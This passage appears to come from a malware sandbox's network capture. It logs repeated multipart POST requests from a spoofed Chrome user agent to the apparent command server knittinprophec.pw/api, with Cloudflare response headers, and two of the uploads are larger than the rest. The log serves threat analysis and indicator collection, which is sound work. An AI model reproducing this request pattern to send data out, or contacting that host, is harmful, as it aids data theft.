Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Qy%2BcJ5ZCM9k8PyDWNr2CvEUEOti8mOsR0sDU8pJ41nmofXDp3T9YPSxch6j7DQfuNkhH58ZDnc13kFh7PV%2B47mORdUvmoO95rGt0w%2B5%2B9uE8%2FVRteouMvM5AYI0F8bnKOmK4GQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939cebf8166ed-AMS
-
DNS28.26.214.95.in-addr.arpaRemote address:8.8.8.8:53Request28.26.214.95.in-addr.arpaIN PTRResponse
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:18 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=vir6gcnb4jm3r0dg0q5gm6o2rt; expires=Tue, 12 Mar 2024 09:53:57 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:18 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vMed6E2a77ZXk4JG9mTLZnkx42XoRrerQnKqs8vYaeLqbANCEIFhIsJ%2FXFBmy18iaOjGz5peQz%2By2zd5JvlCJ1OgPtlFdlMycZi8AIyAiNCzJB2ShKUXVZbbyFLeoiPLe8JMkQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939d1b839663e-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:19 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=91vs59sk3a92kbp4g8nmobims5; expires=Tue, 12 Mar 2024 09:53:57 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:18 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IS4Unovx0CL9CjMU8gb%2FxGP4%2B2tqfpRt%2B3HoSAjEhbjwcr9zFsKhKr9SM55dFzfRtYirG3Mc1CopknxFevLY36EahXXno5QrDAyzXQ7Si82Z7USm9lpfNEE18XtcFfKt7JXByw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939d56bf11ca7-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:19 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=sktppqdq7l28drhhca7s3lc162; expires=Tue, 12 Mar 2024 09:53:58 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:19 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HJ6nGbldvsozXEkeO5GUVlhHZWuPex6I8CFYZqPEN7dLdT5SrEZ8Hi%2Bw2lDiwGseV4f1kSg4pQqbdeZZHX8TzHgvF%2BWR7xDaTFGFg7YpJbvGsBNbC%2FUaCGvYXs0rS4MzBq45uw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939d9ed5fb731-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 13153
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:21 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=5l5tcdjhvstekhluhf3tvt0vjb; expires=Tue, 12 Mar 2024 09:53:59 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:20 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RtwP5X0yRwe6pmaEn0u7lvEl2CbI4NKDSPQySk3u5pW5CUocOur%2BbfL2EFw7og1yj%2BZvNZvsRB5rtQG%2FFdFvwHLW5VVhWs5%2F2ID88Ik7fSeLE2QoEdFJfeRmz0VZ7OXfnalNnw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939e18ec50b75-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:21 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=5em3b032dopjr5evutfsehen73; expires=Tue, 12 Mar 2024 09:54:00 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:21 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UAOpHrNr%2BB8TV5RL321Wgp%2FUwn6xGxbGVt22vZwuZuEhCdtKt7D%2Fz2o6Ezlojt2NeWoTWtaHKhAMeSwGJyf%2B5937DZ6WfU2TpoeHEEieF2I5uNs%2BWZ7JVrx4b8bq1wrlCLtQ8A%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939e54b29b8b4-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=lgo9abqden5q2p6t70gsi8vn7b; expires=Tue, 12 Mar 2024 09:54:00 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:21 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jg7o2UgpN4uyLFKYNCRzG6IeZUqglidOLiCqAtK7OrYS33yXCZ1J62ccWzJOAlkBR0uAhmHuw3HunbRwnUUrNbif8qEWMLKarDC49iR2MdMth0QXL8I%2Bs1F9ShJw9MIF%2BG8%2Biw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939e87d87671b-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=0o2fgclt1k2k7gto5uu4bj95da; expires=Tue, 12 Mar 2024 09:54:01 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:22 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JxXgBCd%2FEXYdMfMs%2Bxbi1dszGVOz0lbdRFEjnNofxRTPddeR0RKpIFZZS9dJTP8UQ2JB6unTjoqIit4%2BbEA%2Fgl6QSOg3U3sXUqu5KA11ycrTqkwBs7WJrlkg7YSWSw8tcZH3Eg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939ebba80b915-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:23 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=kg7jts21c91phphupdl7mcshde; expires=Tue, 12 Mar 2024 09:54:02 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:23 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2Mrf%2F3aBvGp2iIb2q5ZTmkL7kt3BBLfZup5HfO6pCW%2BFyvrAtnk%2BTZiNkEzMfRz0%2FzgUYER4jlTnBAy0dqLQ7Z1QyPpg3uUefoKcA5LSp5D0y8WCi%2Fw1KGk%2B0iestSb9j6ljSw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939eefe1d0b40-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:23 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=00gg0va4fpjllu8pau1odhf16f; expires=Tue, 12 Mar 2024 09:54:02 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:23 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2F0Pm8KBwJjB8IrQ1vsrWKVfGuYjTIgrB3aNbtTVve%2B%2FRAILFQeyzDxBcviS%2FmgQGjh6lSrnO%2BC68ODTZa7Ks9fo4ObQExHBJygwv2ksHR0sMvmnAyJs9YeuLubJnqTProezuoQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939f40dbbb89c-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 17798
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:24 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=8enhpuq52rempb50bhi8qsc51j; expires=Tue, 12 Mar 2024 09:54:03 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:24 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MI8HmR3YMHaa%2FbtftOdCsgINPe%2BWQ6Mws9ohVn54eEcMJdyDj9tPidwrZy%2BdIDmfGtmEk%2ByLZWMUQjRi4JxoYcDzUYP52v9d9NDBouOeKUMwX4u%2BkpD0uHDX7ekqbW%2BI7ly1jg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939f92fd7672a-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:29 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=ceouu6un4oprhbntv2evusa9mj; expires=Tue, 12 Mar 2024 09:54:08 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:29 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BKBfFM745jIW9Ffq4PUVmRJJzkR7FnwWqv86s7rgNjblpAp2uVgf9qQkfMJGZFpx8DeP3Fa76VBF7lcw6rKrQgE9QbojqoLAKnGdS4lonvsSwx%2FV35jwzWDjqRyxcdcMCxMLYw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a1818750b8e-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=ochae9lcjo9i845m6sblh006f6; expires=Tue, 12 Mar 2024 09:54:09 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:30 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Zf8f9qS0EEavm%2FHnPtMRGilD330V8uk3O1AxDLxV7ljHTiH%2BwNOR4d6u%2BdpvcZFTA8suSu3kQQR2QvQmM1n3KCgWRakd%2FMh0pkgFXR5h4V3R8IZtuYHMvDyKazyGXBhHFVv6hw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a1c79af286b-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=5rsm6euvcbp26gk3b7ubs6f67a; expires=Tue, 12 Mar 2024 09:54:09 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:30 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kuIdWNr%2F2lyRQg8ZpXzel%2FrRo2%2BqBxJ0a0tAXIZOXFmYDMtOc8VDvmdFzVwNuixBL4eRRH92PxUvSx8YJgoTK7a4Vw%2FNceCdHL%2FV23kMPJpwdC5lcJZHoPwcUsNCPyGVlHeOWg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a200a926640-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=ptrv1cp5qj5ojcvfhf7r90b1er; expires=Tue, 12 Mar 2024 09:54:10 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:31 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HZKfeNfr6yAPXbJprQ%2BR0Asn%2FgERfPnj%2F5RCElbYX6xrEetsehC5ks4CuY%2FuDeh6ZLtu0AhMjqWOFzYbmPjg042ZahG48dVU5YUySnkrWXHLI6hOuoqOwB3u%2BG72cbKwn1aFdA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a23894a665e-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=p6gutdhkovdk6k2dl09lj42fek; expires=Tue, 12 Mar 2024 09:54:10 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:31 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YsnN2AW3JVJGDj59PQgeshWTt2ZooI4daIyHWhTug6uqqerLfWw2P%2FZYXB%2FC5bYg1cVOCRYkH%2BirLXAbRStjfz1KiVqOfrqaRxPT88YxQxVtG9bVg%2F4HuxpqkSHVyje8QtvylA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793a266f241b0b-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:32 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=hil9aitu9jpn2930q4vjj0jm3s; expires=Tue, 12 Mar 2024 09:54:11 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:32 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
